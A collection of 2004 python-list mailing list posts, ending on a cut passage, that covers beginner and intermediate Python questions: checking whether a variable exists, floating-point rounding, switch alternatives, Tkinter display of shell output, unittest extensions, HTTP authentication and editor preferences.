In-Reply-To: <41384A58.8040405@chamonix.reportlab.co.uk>
References: <ch9hhf$4re$1@s5.feed.news.oleane.net>
	<41384A58.8040405@chamonix.reportlab.co.uk>
Message-ID: <41387174.3060305@divmod.com>

Robin Becker wrote:
> Thierry S. wrote:
> 
>> Hello.
>>
>> I would to test the existence of a variable before to use it (like
>> isset($myVar) in PHP).
>> I try using "if myVar: ", but there is the error meesage (naturally):
>> "NameError: name 'myVar' is not defined"
>>
>> Please, could you tell me what for function exist to test the variable 
>> with
>> Python?
>>
>> Regards,
> 
> if globals().has_key('myVar'):
>     ....
> 


 >>> def f(x):
...     if globals().has_key('x'):
...             print 'x is', x
...     else:
...             print 'x is not defined'
...
 >>> f(10)
x is not defined

   Before anyone points out locals(), I know all about it.

   Testing for the existence of a variable is something to avoid doing. 
  Variables should be bound unconditionally.  There is always a sentinel 
value that can be used as a place-holder.

   Instead of:

     # ...
     if not isset('x'):
         # initialize x
     # use x

   use:

     x = None
     # ...
     if x is None:
         # initialize x
     # use x

   If None is a valid value for x to take on, pick another sentinel. 
Even better is to pick a legitimate and useful value and just write the 
whole thing as:

     x = default
     # use x

   Often this is not possible... but often it is.

   If it is really necessary to check for the existence of a variable by 
name, for example if the variable name taken from user input, then you 
may actually wish to use a dict, instead of variables in your local scope:

     d = {}
     # Get user input, store it in x
     if x not in d:
         d[x] = initialize()
     # use d[x]

   Jp


   Jp


From newminds_eu at hotmail.com  Tue Sep 28 09:42:03 2004
From: newminds_eu at hotmail.com (Empresa NewMinds)
Date: Tue, 28 Sep 2004 13:42:03 -0000
Subject: Quiero empezar con python pero quisiera saber...
Message-ID: <BAY10-DAV24p20N39x600000f25@hotmail.com>

Hola Comunidad de python

reciban de mi parte un Cordial saludo


Soy programador durante mucho tiempo (de 3 a 4 a?os) he programado en Visual Basic hace como 2 a?os aprox.  

Empeze a programar bajo java. incluso realize una aplicacion dura para una entidad del gobierno en mi ciudad hace ya casi 1 a?o. pero despues de ver el bajo rendimiento de la interfaz grafica (Swing)  opte por volver al visual basic 6.0 (ya que la mayoria de los clientes de mi ciudad manipula el/los S.O windows xx).  

Estoy de nuevo pensando volver  a java despues de ver muchas inconsistencias con el Visual Basic ademas del pago de licencias (Q me tiene super transtornado). pero el unico inconveniente como les digo es la interfaz (Swing, Awt y la SWT de eclipse [q estoy viendo a ver si aprendo]) ya q el manejo de objetos y sobre el manejo de bases de datos me parece excelentes... Se de python aprox.  el mismo que conozco a java pero nunca pense en aprenderlo... quisiera saber y espero una opinion objetiva si con python  puedo encontrar la misma robutez la misma sencillez que tiene un lenguaje como por ejemplo java. si puedo encontrar la misma velocidad y rendimiento en cuanto interfaces como visual basic. quisiera saber como es el manejo de bases de datos facil???
python tiene algun programa que haga reportes como el JasperReport para java???  Algun dise?ador de interfaz???? Python usa punteros????? 

Disculpen tantas preguntas a la vez. la verdad es q soy autodidacta y me dedicaria a buscar cada uno de los topicos q les presento pero precisamente no tengo mucho tiempo para ello. ademas quisiera conocer la opinion de personas q ya tienen experiencia manipulando la herramienta.   (Eso si desde una vision bastanta OBJETIVA).


Atte: Julio Cesar Pimentel J
            . . .  

Pd: todas mis preguntas estan orientadas para la realizacion de aplicaciones de escritorio. 


-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-list/attachments/20040928/15e3e4ab/attachment.html>

From peter at engcorp.com  Tue Sep 14 18:16:59 2004
From: peter at engcorp.com (Peter Hansen)
Date: Tue, 14 Sep 2004 18:16:59 -0400
Subject: Strange "feature" involving double slashes in Win98
In-Reply-To: <mailman.3331.1095196635.5135.python-list@python.org>
References: <mailman.3327.1095192228.5135.python-list@python.org>	<ci7kou$eqj$00$1@news.t-online.com>	<qOGdnf9RP5WexdrcRVn-oA@powergate.ca>
	<mailman.3331.1095196635.5135.python-list@python.org>
Message-ID: <q-KdnbQfKohB8NrcRVn-ug@powergate.ca>

Carlos Ribeiro wrote:

> On Tue, 14 Sep 2004 16:43:46 -0400, Peter Hansen <peter at engcorp.com> wrote:
>> >>> os.path.abspath('c://somepath')
>>'c:\\somepath'
 >
> Strange. I've tried it here with different results.
> 
> ActivePython 2.3.2 Build 232 (ActiveState Corp.) based on
> Python 2.3.2 (#49, Nov 13 2003, 10:34:54) [MSC v.1200 32 bit (Intel)] on win32
> 
>>>>import os.path
>>>>os.path.abspath('c://work')
> 
> 'c:\\\\work'
> 
> Of course, I'm not using the same build as you. Either there was some
> bugfix inbetween 2.3.2 and 2.3.4, or the underlying libraries used by
> ActivePython and standard Python differ in this regard (not highly
> probable, anyway). I'm not sure.

Do you have pywin32 (win32all) installed?  Try this one instead:

   win32api.GetFullPathName('c://work')

This does the same as abspath does above, on mine.  I ask because
of stuff in ntpath.py which appears to be calling the equivalent
of that instead of the normpath(join(getcwd(), path)) approach that
the docs note is equivalent...

-the-blind-leading-the-blind-ly y'rs,
  Peter


From jeff at ccvcorp.com  Wed Sep  1 14:59:42 2004
From: jeff at ccvcorp.com (Jeff Shannon)
Date: Wed, 01 Sep 2004 11:59:42 -0700
Subject: multipart/form-data in an HTTP client
In-Reply-To: <cpa4qmi9h3i.fsf@cabernet.nelson.monkey.org>
References: <cpa4qmi9h3i.fsf@cabernet.nelson.monkey.org>
Message-ID: <10jc6ua32ccht5e@corp.supernews.com>

Nelson Minar wrote:

>I'm writing some code to upload photos to Flickr. The Photo Upload API
>requires documents be POSTed via a multipart/form-data request. I was
>surprised to learn that Python 2.3's HTTP clients don't support this
>form of POSTs. There is support in cgi.py, for servers.
>
>There are some implementations of multipart/form-data on ASPN:
>  http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/146306
>urllib2_file seems to meet my needs, but I'm not wild about how it's
>implemented. Is there some other recommended way to do
>multipart/form-data uploads with HTTP in Python?
>  
>

I've been using something closely modelled on that Cookbook recipe, 
without any real problems.  (I've updated it to use HTTP[S]Connection() 
and return the response object, and in my case I'm connecting to an 
HTTPS server, but these are trivial modifications.)

I, too, was surprised that the existing Python libraries don't directly 
support multipart/form-data already, and I hope that this gets added in 
soon.

Jeff Shannon
Technician/Programmer
Credit International



From gh at ghaering.de  Fri Sep 17 09:49:33 2004
From: gh at ghaering.de (gh at ghaering.de)
Date: Fri, 17 Sep 2004 15:49:33 +0200
Subject: How to detect open windows applications
In-Reply-To: <82d4be71.0409170537.7f4468c1@posting.google.com>
References: <82d4be71.0409160655.234749ab@posting.google.com>
	<cicqq6$kra$1@news-reader4.wanadoo.fr>
	<82d4be71.0409170537.7f4468c1@posting.google.com>
Message-ID: <20040917134933.GA16035@mylene.ghaering.de>

On Fri, Sep 17, 2004 at 06:37:02AM -0700, Roy wrote:
> That sounds like a good way...
> How do I get a list of the process?

That's possible with the win32 extensions. For a quick hack I often prefer to
interface command-line utilities like the pulist.exe and kill.exe from the M$
Resource Kit.

-- Gerhard


From zanesdad at bellsouth.net  Tue Sep 28 14:37:38 2004
From: zanesdad at bellsouth.net (Jeremy Jones)
Date: Tue, 28 Sep 2004 14:37:38 -0400
Subject: SimpleXMLRPCServer
In-Reply-To: <16729.44169.386322.909178@montanaro.dyndns.org>
References: <Ek%5d.3512$MD5.341163@news20.bellglobal.com>
	<mNqdnZDKF9l9CMXcRVn-jw@giganews.com>
	<4158A28B.3050501@bellsouth.net>
	<16729.44169.386322.909178@montanaro.dyndns.org>
Message-ID: <4159AF72.4090908@bellsouth.net>

Skip Montanaro wrote:

>    Jeremy> ... the out-of-the-box SimpleXMLRPCServer will only handle one
>    Jeremy> request at a time...  It does not spawn a thread per request.
>
>Nor should it.  Enabling threading in an application should be an active
>step taken by the programmer, not a passive step taken as a side effect of
>using a particular class that doesn't mention threading.  The simplest part
>of making a server threaded is mixing in SocketServer.ThreadingMixin.  Far
>more work needs to be done to make it robust.
>
>Now, should the SimpleXMLRPCServer module provide a threaded version?
>Perhaps.  The default should be non-threaded however.
>
>Skip
>  
>
I don't disagree at all.  The example that I got from somewhere that I 
still use as my base template to create a threaded XMLRPCServer is all 
of 6 lines of code.  It's trivial.  And that could probably be trimmed 
down a bit.


Jeremy


From mariube+netnews+ at ifi.uio.no  Thu Sep  9 16:18:37 2004
From: mariube+netnews+ at ifi.uio.no (Marius Bernklev)
Date: Thu, 09 Sep 2004 22:18:37 +0200
Subject: Is there no switch function in Python
References: <CR20d.46131$Vf.2380522@news000.worldonline.dk>
Message-ID: <3cfisannqle.fsf@nemi.ping.uio.no>

"Rudi Hansen" <rsh_remove_this_ at pobox.dk> writes:

> I would like to be able to do
>
> switch(var)
>     case 1 :
>         print "var = 1"
>     case 2:
>         print "var = 2"
>
> But it seems that i have to do.
>
> if(var=1)
>     print "var =1"
> elseif(var=2)
>     print "var=2"
>
> Is ther no easier way?? 

one way is using dicts:

     swoosh = {1: "var = 1", 2: "var = 2"}
     print swoosh[var]


-- 
Marius Bernklev


From grante at visi.com  Thu Sep  9 17:54:59 2004
From: grante at visi.com (Grant Edwards)
Date: 09 Sep 2004 21:54:59 GMT
Subject: my own type in C, sequence protocol
References: <chq9eg$c2i$1@schleim.qwe.de>
	<donn-D30720.12484009092004@gnus01.u.washington.edu>
	<chqdvo$cgp$1@schleim.qwe.de>
Message-ID: <4140d133$0$8079$a1866201@newsreader.visi.com>

On 2004-09-09, Torsten Mohr <tmohr at s.netic.de> wrote:

> thanks for that explanation.  From the error messages i got i
> already thought of something like this.  But still i'm
> confused, what is the advantage to implement the sequence
> protocol for my type then?
>
> The type that i implemented is a "CAN message", don't know if
> this means something to you, it is a communication message
> with 0 to 8 bytes content.  To access this content i thought
> there would be an advantage in implementing the sequence
> protocol.  What is the advantage then?

Good question.  

[I just use lists of integers for my CAN messages.]

If you want to iterate over your object, you probably want to
support the sequence protocol.

-- 
Grant Edwards                   grante             Yow!  Is this where people
                                  at               are HOT and NICE and they
                               visi.com            give you TOAST for FREE??


From gherron at islandtraining.com  Sat Sep 18 13:20:12 2004
From: gherron at islandtraining.com (Gary Herron)
Date: Sat, 18 Sep 2004 10:20:12 -0700
Subject: Math errors in python
In-Reply-To: <linok0tk1d0cftbh9092j31mpglj2petls@4ax.com>
References: <linok0tk1d0cftbh9092j31mpglj2petls@4ax.com>
Message-ID: <200409181020.12445.gherron@islandtraining.com>

On Saturday 18 September 2004 09:50 am, Radioactive Man wrote:
> In python 2.3 (IDLE 1.0.3) running under windows 95, I get the
> following types of errors whenever I do simple arithmetic:
>
> 1st example:
> >>> 12.10 + 8.30
>
> 20.399999999999999


It's not a bug, it's a feature of binary arithmetic on ALL coumputers
in ALL languages.  (But perhaps Python is the first time it has not
been hidden from you.)

See the Python FAQ entry 1.4.2:

http://www.python.org/doc/faq/general.html#why-are-floating-point-calculations-so-inaccurate


Gary Herron






From mwh at python.net  Thu Sep  2 09:24:40 2004
From: mwh at python.net (Michael Hudson)
Date: Thu, 2 Sep 2004 13:24:40 GMT
Subject: compiling to python byte codes
References: <4136b2b5$1@news.unimelb.edu.au>
Message-ID: <m3isawg5wo.fsf@pc150.maths.bris.ac.uk>

Maurice LING <mauriceling at acm.org> writes:

> Hi,
> 
> I remembered reading a MSc thesis about compiling Perl to Java
> bytecodes (as in java class files). At least, it seems that someone
> had compiled scheme to java class files quite successfully. I'm
> wondering if something of such had been attempted in python, as in
> compiling X language into .pyc. 

Not to my knowledge.  It wouldn't be very interesting: the Python
bytecode is pretty Python specific.

> I do not understand the schematics of .pyc files but I assume that
> they are the so called python bytecode files.
> 
> Or is there any documentation or books that is the python equivalent
> of "Programming for the Java Virtual Machine" by Joshua Engel?

Nope.  As others point out, the details tend to change each (major)
version of Python.  The documentation for the standard library module
'dis' might help.  You could also look at the 'bytecodehacks' package
(google, and make sure you get the CVS version).

Cheers,
mwh

-- 
39. Re graphics:  A picture is worth 10K words - but only those
    to describe the picture.  Hardly any sets of 10K words can be
    adequately described with pictures.
  -- Alan Perlis, http://www.cs.yale.edu/homes/perlis-alan/quotes.html


From steven.bethard at gmail.com  Tue Sep 21 17:11:30 2004
From: steven.bethard at gmail.com (Steven Bethard)
Date: Tue, 21 Sep 2004 21:11:30 +0000 (UTC)
Subject: Python 3.0, rich comparisons and sorting order
References: <A128D751272CD411BC9200508BC2194D053C79A1@escpl.tcp.com.ar>
	<mailman.3670.1095791749.5135.python-list@python.org>
	<5y04d.1704$g42.492@newsread3.news.pas.earthlink.net>
Message-ID: <loom.20040921T230621-727@post.gmane.org>

Andrew Dalke <adalke <at> mindspring.com> writes:
> Get rid of __cmp__.

Do you think sort should lose its cmp keyword argument too?  Seems that might 
also address Carlos Ribeiro's 4-ways-to-customize-sort problem:

Carlos Ribeiro wrote:
> As of
> today, there are 4 different ways to customize sorting behavior:
> 
> 1) passing a comparison function to sort();
> 2) passing a key generation function to sort();
> 3) implementing __cmp__;
> 4) implementing rich comparison methods. 

There are things you can do with the cmp keyword arugment that you can't do 
with the key keyword argument...  Though I'm not sure how many of these things 
that you *can* do you actually *want* to do...

Steve



From carribeiro at gmail.com  Mon Sep 13 09:24:11 2004
From: carribeiro at gmail.com (Carlos Ribeiro)
Date: Mon, 13 Sep 2004 10:24:11 -0300
Subject: read all available pages on a Website
In-Reply-To: <ci2qnl$2jq$1@solaris.cc.vt.edu>
References: <ci2qnl$2jq$1@solaris.cc.vt.edu>
Message-ID: <864d370904091306247e4b0830@mail.gmail.com>

Brad,

Just to clarify something other posters have said. Automatic crawling
of websites is not welcome primarily because of performance concerns.
It also may be regarded by some webmasters a a kind of abuse, because
the crawler is doing 'hits' and copying material for unknown reasons,
but is not seeing any ad or generating revenue. Some sites even go to
the extent of blocking access from your IP, or even for your entire IP
range, when they detect this type of behavior. Because of this, there
is a very simple procol involving a file called "robots.txt". Whenever
your robot first enter into a site, it must check this file and follow
the instructions there. It will tell you what you can do in that
website.

There are also other few catches that you need to be aware of. First,
some sites don't have links pointing to all their pages, so it's never
possible to be completely sure about having read *all* pages. Also,
some sites have link embedded into scripts. It's not a recommended
practice, but it's common at some sites, and it may cause you
problems. And finally, there are situations where your robot may be
stuck into an "infinite site"; that's because some sites generate
pages dinamically, and your robot may end up fetching page after page
and never get out of the site. So, if you want a generic solution to
crawl any site you desire, you have to check out these issues.


Best regards,


-- 
Carlos Ribeiro
Consultoria em Projetos
blog: http://rascunhosrotos.blogspot.com
blog: http://pythonnotes.blogspot.com
mail: carribeiro at gmail.com
mail: carribeiro at yahoo.com


From peter at engcorp.com  Wed Sep 29 06:53:29 2004
From: peter at engcorp.com (Peter L Hansen)
Date: Wed, 29 Sep 2004 06:53:29 -0400
Subject: os.system  vs. Py2Exe
In-Reply-To: <81a41dd.0409282240.739cb257@posting.google.com>
References: <81a41dd.0409280200.1a74edd1@posting.google.com>
	<Rd2dneVBGfQrXMTcRVn-jQ@powergate.ca>
	<81a41dd.0409282240.739cb257@posting.google.com>
Message-ID: <4_CdnUGCt9u3CcfcRVn-pA@powergate.ca>

Lad wrote:
> Peter Hansen <peter at engcorp.com> wrote in message news:<Rd2dneVBGfQrXMTcRVn-jQ at powergate.ca>...
> 
>>Lad wrote:
>>
>>>I used Py2exe to compile my script( I use XP).
>>>The compiled script works OK on my XP where Python is installed.
>>>But when I install the compiled exe to another computer,
>>
>>What operating system is the other computer running?
> 
> The other Operating system( that does not work with os.system) is Windows 98

That's the source of your problem.  Win98 doesn't work the way
XP/NT does, and you *cannot* use os.system() in this way to
get the expected behaviour.  Find another approach... maybe
read the registry entries for .TXT files and launch NotePad
directly...

-Peter


From t_therkelsen at hotmail.com  Sat Sep  4 12:17:02 2004
From: t_therkelsen at hotmail.com (Troels Therkelsen)
Date: 04 Sep 2004 16:17:02 GMT
Subject: Trouble accessing global vars
References: <sonjj0d6b7fsafjnphqcdqrm0ia59qt8ti@4ax.com>
Message-ID: <slrncjjqjt.t6.t_therkelsen@abattoir.2-10.org>

In article <sonjj0d6b7fsafjnphqcdqrm0ia59qt8ti at 4ax.com>, Fernando Rodr?guez wrote:
> Hi,
> 
> I haven't used Python in quite some time, and I'm bit puzzled by this:
> 
> counter = 0
> 
> class Blah(object):
> 	def run(self):
> 		counter += 1
> 
> b = Blah()
> b.run()
> 
> Traceback (most recent call last):
>   File "<pyshell#53>", line 1, in -toplevel-
>     b.run()
>   File "<pyshell#51>", line 3, in run
>     counter += 1
> UnboundLocalError: local variable 'counter' referenced before assignment
> 
> However, counter is not a local var, it's a global one. :-? Shouldn't this
> work?

If you want to modify a global variable from inside a function/method scope,
you need explicitly tell Python that this is indeed your wish, by using the
global keyword, like this:

    class Blah(object):
        def run(self):
            global counter
            counter += 1

Hope this helps,

Troels Therkelsen



From ivoras at __-geri.cc.fer.hr  Wed Sep  8 11:32:07 2004
From: ivoras at __-geri.cc.fer.hr (Ivan Voras)
Date: Wed, 08 Sep 2004 17:32:07 +0200
Subject: YOU ALL SUCK!
In-Reply-To: <56cfb0e3.0409021745.712d2f6d@posting.google.com>
References: <1bf5bcb9.15695836@aol.com>
	<Pine.LNX.4.44.0409012156390.29696-100000@ccc4.wpi.edu>
	<56cfb0e3.0409021745.712d2f6d@posting.google.com>
Message-ID: <chn8ln$i4h$1@bagan.srce.hr>

Porky Pig Jr wrote:

> Christopher T King <squirrel at WPI.EDU> wrote in message news:<Pine.LNX.4.44.0409012156390.29696-100000 at ccc4.wpi.edu>...
> 
>>This is a common newbie trap.  The reason is that default arguments are 
>>only evaluated once; any changes you make to the list will be reflected in 
>>the default argument.
>>
> 
> 
> Say Chris, are you trying to bit some 'random BS generator' with
> another 'random Python answers' generator?

Oooh! What a good idea :) It would be very interesting to see what could 
be done with a collection of various 'frequent anwers' on this list :)

Judging from the content of the group in the past weeks, such engine 
would surely heavily debate about decorators :)



From nobody at nowhere.com  Mon Sep 20 11:06:12 2004
From: nobody at nowhere.com (Yannick Turgeon)
Date: Mon, 20 Sep 2004 11:06:12 -0400
Subject: Inheritance question
References: <eaB3d.12433$pA.483376@news20.bellglobal.com>
	<cimp7q$tlk$01$1@news.t-online.com>
Message-ID: <mlC3d.12516$pA.507163@news20.bellglobal.com>

Hello,

Thanks to reply. My question has been answered but I'm now wondering if I do
this the best way.

In the real situation I'm implementing a protocol. "A" represent a command.
Say "0144AYHR78" (encoded data) means "Add client Joe" and "0589UAWERT"
means "Ship 3 compressors to Joe". What I want to do is to create a "A"
instance which find the command type and parameters and "mutate" itself to
the good command. All command parameters ("Joe" for the first one and
"3,compressor,Joe" for the secondeone) are kept in a sigle list.So B1 and B2
would define the function "getClient()" and B2 would define "getQty()" and
"getProduct()" and some other command-specific work.

while True:
    encoded_data = readEncodedData()
    command = A(encoded_data)
    type_ = command .getType()    # Define in "A"
    if type_ == A.ADD:
        # Do what I have to do with a "Add" command using the "command"
instance (B1)
    elif type_ == A.SHIP:
        # Do what I have to do with a "Ship" command using the "command"
instance (B2)
    ...

Any suggestion to do this in a better way

Yannick


> You can do it, but it's certainly bad design because A has to know all its
> subclasses. If you go with the above I recommend that you use some kind of
> registry instead of hardcoding the subclasses in A.__new__().
>
> Peter
>




From fuzzyman at gmail.com  Thu Sep  2 07:40:23 2004
From: fuzzyman at gmail.com (Michael Foord)
Date: 2 Sep 2004 04:40:23 -0700
Subject: Compiling Extension Modules Under Windows
References: <ch29dr$25h@odah37.prod.google.com>	<1gjfjq0.1bpe86xzyakjcN%aleaxit@yahoo.com>
	<mailman.2755.1094103635.5135.python-list@python.org>
Message-ID: <6f402501.0409020340.a307c3@posting.google.com>

Andrew Durdin <adurdin at gmail.com> wrote in message news:<mailman.2755.1094103635.5135.python-list at python.org>...
> On Wed, 1 Sep 2004 11:15:29 +0200, Alex Martelli <aleaxit at yahoo.com> wrote:
> > mensanator at aol.com <mensanator at aol.com> wrote:
> >    ...
> > 
> > I predict no need for tweaking.  I'm not sure what the support for the
> > MS SDK compiler is currently -- maybe somebody with more current Windows
> > knowledge can chime in?  It used to be that the free C compiler had no
> > optimization, thus the resulting gmpy would be substantially slower, but
> > I don't even know if that is still currently the case or not.
> 
> No: "Microsoft C/C++ Optimizing Compiler and Linker.  These are the
> same compiler and linker that ship with Visual Studio .NET 2003
> Professional!"
> 
> --from the (free-of-charge) Visual C++ Toolkit 2003 page at
> http://msdn.microsoft.com/visualc/vctoolkit2003/


Can someone pelase clarify this for me.
Will having this compiler allow python distutils to automagically
compile extension modules without complaining it needs MSVC7 *and*
without tweaking distutils....  ?? (some hope really !!)

If not - what is the magic needed in distutils to make it use it ?
Is the quality of machine code emitted by this compiler any 'better'
than GCC - is this a matter of fact or opinion ?

The difficulty of compiling extensions for windows is still a 'python
wart'. If one goes through the various incantations necesary to use
gcc under mingw then it 'just works' for python 2.3 but it's still
tricky for the newbie to set up and I've heard rumblings that it might
not be possible for 2.4 (which I'm sure is wrong but there we go).

Regards,


Fuzzy

http://www.voidspace.org.uk/atlantibots/pythonutils.html


From adurdin at gmail.com  Mon Sep 27 01:14:27 2004
From: adurdin at gmail.com (Andrew Durdin)
Date: Mon, 27 Sep 2004 15:14:27 +1000
Subject: Unary plus operator and __pos__
In-Reply-To: <864d37090409262150b72ef26@mail.gmail.com>
References: <864d37090409262150b72ef26@mail.gmail.com>
Message-ID: <59e9fd3a04092622144b9fad0b@mail.gmail.com>

On Mon, 27 Sep 2004 01:50:43 -0300, Carlos Ribeiro <carribeiro at gmail.com> wrote:
> 
> Now I'm curious about the operator itself. Why is  the unary plus
> operator associated with the __pos__ magic method? I' can't see a
> relation here, and I could not find much info (although I haven't
> really looked very hard :-)
> 
> Anyone knows why is it so?

Because the unary minus is "associated with" __neg__ (negative). I
guess that __pos__ (positive) was introduced to be consistent.


From eric_brunel at despammed.com  Wed Sep  8 11:49:57 2004
From: eric_brunel at despammed.com (Eric Brunel)
Date: Wed, 08 Sep 2004 17:49:57 +0200
Subject: TKinter + display of a shell command return
References: <chn0pr$tr7$1@biggoron.nerim.net>
Message-ID: <chn98b$9gr$1@news-reader1.wanadoo.fr>

Yann.K wrote:
> Hello.
> 
> Using Tkinter, i would create a widget which display a shell command return.
> This return is long, and i would display a real time display (like with the
> tail -f commande on Linux)
> 
> I think to use the text widget.
> I have no problem to execute the command, but how to display, in a
> *real-time* fashion the shell retrun?

What is your problem here? Inserting at the end of the text and call the see 
method on the text widget to make sure the last line is displayed should be 
enough. An update_idletasks may also be needed to actually display something, 
but it depends on the architecture of your script, typically on whether you use 
threads or not.

A basic script doing what you want is:

--shell_output.py---------------------
import os
from Tkinter import *

root = Tk()
t = Text(root)
t.pack()

def go():
   p = os.popen("find . -name '*.py'", 'r')
   for l in p.xreadlines():
     t.insert(END, '%s\n' % l.rstrip())
     t.see(END)
     t.update_idletasks()

Button(root, text='Go', command=go).pack()

root.mainloop()
--------------------------------------

HTH
-- 
- Eric Brunel <eric (underscore) brunel (at) despammed (dot) com> -
PragmaDev : Real Time Software Development Tools - http://www.pragmadev.com



From fuzzyman at gmail.com  Wed Sep 22 10:56:29 2004
From: fuzzyman at gmail.com (Michael Foord)
Date: 22 Sep 2004 07:56:29 -0700
Subject: HTTP - basic authentication example.
References: <6f402501.0409150737.1bfc6958@posting.google.com>
	<d52c72d2040915092132ce7c34@mail.gmail.com>
	<6f402501040916022738bd70b5@mail.gmail.com>
	<mailman.3402.1095338985.5135.python-list@python.org>
	<6f402501.0409170026.36f24761@posting.google.com>
	<87isabn06u.fsf@pobox.com>
Message-ID: <6f402501.0409220656.3e592b6c@posting.google.com>

jjl at pobox.com (John J. Lee) wrote in message news:<87isabn06u.fsf at pobox.com>...
> fuzzyman at gmail.com (Michael Foord) writes:
> > Jaime Wyant <programmer.py at gmail.com> wrote in message news:<mailman.3402.1095338985.5135.python-list at python.org>...
>  [...]
> > have found it in your docs). This means I have a ClientCookie handler
> > handling all my http requests.... I wonder if I can use an AuthHandler
> > as well ? There will be situations where I am likely to want to add an
> > Authroize header *and* handle cookies - ClientCookie manages all the
> > cookies in a way that I couldn't do manually.
> 
> Sure, cookielib.HTTPCookieProcessor (or
> ClientCookie.HTTPCookieProcessor) should work fine with all other
> urllib2 handlers.  Cookies and Basic HTTP Authentication are quite
> distinct and separate in their implementation at the HTTP level.
> 

Really ? I can see situations where they both have to handle a
request.... but then I guess all cookielib has to do is add the
appropriate cookie header and then pass the request down the chain ?

(all is not meant as a denigration - merely a description ;-)

[snip..]

> 
> [...]
> > The example you gave works I think - HTTPBasicAuthHandler does have an
> > add_password method, but not the find_user_password that the
> > HTTPPasswordMgr has... so I can't easily check if it works properly.
> > In the urllib2 docs it says that passing a password manager in is
> > optional - but *nowhere* does it document that it has an add_password
> > method. It may be deducable from the fact that passing in a password
> > manager is optional - but surely explicit is better than implicit
> > (especially where documentation is concerned).
> [...]
> 
> Tested doc patches posted to the Python sf.net patch tracker are
> welcome :-)
> 

Hmm... maybe.
I only know what I've deduced and I'm not over confident that it's
100% cast iron right - I just think it's probably right.

I'm quite happy to submit it - but if it's innacurate I don't do the
python community or myself any favours.........

Regards,

Fuzzy
http://www.voidspace.org.uk/atlantibots/pythonutils.html

> 
> John


From tweedgeezer at hotmail.com  Thu Sep 23 19:47:59 2004
From: tweedgeezer at hotmail.com (Jeremy Fincher)
Date: 23 Sep 2004 16:47:59 -0700
Subject: unittest: new reporting category "skipped"
References: <mailman.3772.1095935910.5135.python-list@python.org>	<698f09f8.0409230740.18bc9185@posting.google.com>
	<mailman.3797.1095959172.5135.python-list@python.org>
Message-ID: <698f09f8.0409231547.383ae902@posting.google.com>

Remy Blank <remy.blank_asps at pobox.com> wrote in message news:<mailman.3797.1095959172.5135.python-list at python.org>...
> Jeremy Fincher wrote:
> > Even if it doesn't get accepted into Python proper, I'll take a copy
> > and put it with my project -- I already provide my own unittest.py
> 
> I was wondering, is it worth modifying unittest.py directly and
> provide a patch, or should I just extend its functionality in a
> separate file, and provide that one?

I just modified it directly.  What format the Python people prefer for
their patches is their business :)
 
> > that I hacked to show the total number of asserts (I was curious one
> > day, and it's turned out to be a remarkably useful thing to have,
> > since my tests-upon-tests can hide unreaonable numbers of assertions
> > which otherwise would go unnoticed (except as a general slowness of
> > the test suite).
> 
> Interesting idea. What do you use the assertion count for?

Supybot has tests for its plugins, but since some plugins are rather
central to the bot, they're loaded during all the plugin tests.  When
I increased the number of these central plugins, I found that the
tests ran more slowly.  After adding the assertion count, I discovered
that each central plugin I added resulted in about 1,000 more
assertions.  What had happened was that during the tests for each
plugin, the tests for each central plugin were being re-run, resulting
in a significantly more time consuming test run.

Nowadays, I just use it as a general measure of how many tests we
have, and as a bragging point on our website :)

Jeremy


From caleb1 at telkomsa.net  Thu Sep 16 23:01:11 2004
From: caleb1 at telkomsa.net (Caleb Hattingh)
Date: Thu, 16 Sep 2004 23:01:11 -0400
Subject: Ranting about the state of Python IDEs for Windows
References: <mailman.3261.1095106220.5135.python-list@python.org>
	<xv6dnbAB2MabvtvcRVn-sA@adelphia.com>
	<2qo1v3F11r4inU1@uni-berlin.de>
	<1gk5km1.1swwqe59any8yN%aleaxit@yahoo.com>
	<2qtcjpF120qvbU1@uni-berlin.de>
	<1gk7m2e.jnaaas1e93hhqN%aleaxit@yahoo.com>
Message-ID: <opsegan9co1js0xs@news.telkomsa.net>

On Thu, 16 Sep 2004 14:16:22 +0200, Alex Martelli <aleaxit at yahoo.com>  
wrote:

> Daniel Ellison <daniel at syrinx.net> wrote:
>    ...
>> > Except, no tabbed interface when editing multiple files (not even with
>> > GVIM: just ONE window, as seen from the OS/GUI level, even though vim
>> > can partition it).  Vim is my favourite editor, but the lack of tabbed
>> > interface _is_ a pity.
>    ...
>> Ah, but that partitioning, or splitting windows, is a viable alternative
>> to tabs. Once one gets used to it, splitting and moving from window to
>> window is done without thought. No, it's not convenient to have a dozen
>
> I've used VIM since day one (and vi before then) and yet I consider its
> "partitioning or splitting window" a substantial productivity loss
> compared to tabbed editors.  Not a matter of getting used to it, just
> ergonomically inferior.

> But mostly I'm on a GUI, with gvim, and the lack of
> tabbed editing just sucks.  Next time I have some spare time (that will
> be the day) I'll give emacs+its vi emulations another try, I think.
> Most likely I'll come back to Vim and start grousing again, tho...;-)
>
>
> Alex

Alex

I initially had the same irritation, but:

I mapped (for example) keys F3 and F4 in ViM to switch between buffers  
like so:

<inside .vimrc>
" Putting '!' after 'map' causes it to work regardless of current mode.
map! F3 <ESC>:bn!<CR>
map! F4 <ESC>:bp!<CR>
<fin>

Accessing multiple buffers has become a non-issue for me.  In fact, I now  
*prefer* this to tabbed editing.  This, coupled with global marks (A-Z)  
makes editing multiple files real easy.

If you really do want a list of buffers in gvim, the 'buffers' menu does  
tear off...

I do hate window splitting though - the loss of screen real-estate is too  
painful.

Thanks
Caleb


From pfortin at pfortin.com  Tue Sep 21 13:03:05 2004
From: pfortin at pfortin.com (Pierre Fortin)
Date: Tue, 21 Sep 2004 13:03:05 -0400
Subject: MAC address
References: <1095663115.414e7e0b675e4@www-mail.usyd.edu.au>
	<200409201005.25963.heikowu@ceosg.de>
	<mailman.3553.1095679406.5135.python-list@python.org>
	<414efed5$0$60631$a1866201@newsreader.visi.com>
	<mailman.3613.1095723708.5135.python-list@python.org>
	<414f7c66$0$60638$a1866201@newsreader.visi.com>
	<mailman.3616.1095729288.5135.python-list@python.org>
	<414fa1ec$0$63273$a1866201@newsreader.visi.com>
	<ciov19$4lm$1@blackmamba.itd.rl.ac.uk>
	<41503c6c$0$60645$a1866201@newsreader.visi.com>
Message-ID: <20040921130305.34566043@gypsy.pfortin.com>

On 21 Sep 2004 14:36:28 GMT Grant wrote:

> Is there a good way to determine if an address is already in
> use?

Depends... is there a guarantee there is no switch between you and the
server?  If not, listening, then active probing might provide _an_ (not
_the_) answer...  What if the other machine is currently offline?  If
there _is_ a switch _and_ a duplicate MAC, that would make for interesting
problems (switch constantly swaps out-port for MAC that appears to be
moving back and forth between ports), mostly resulting in a confused IP
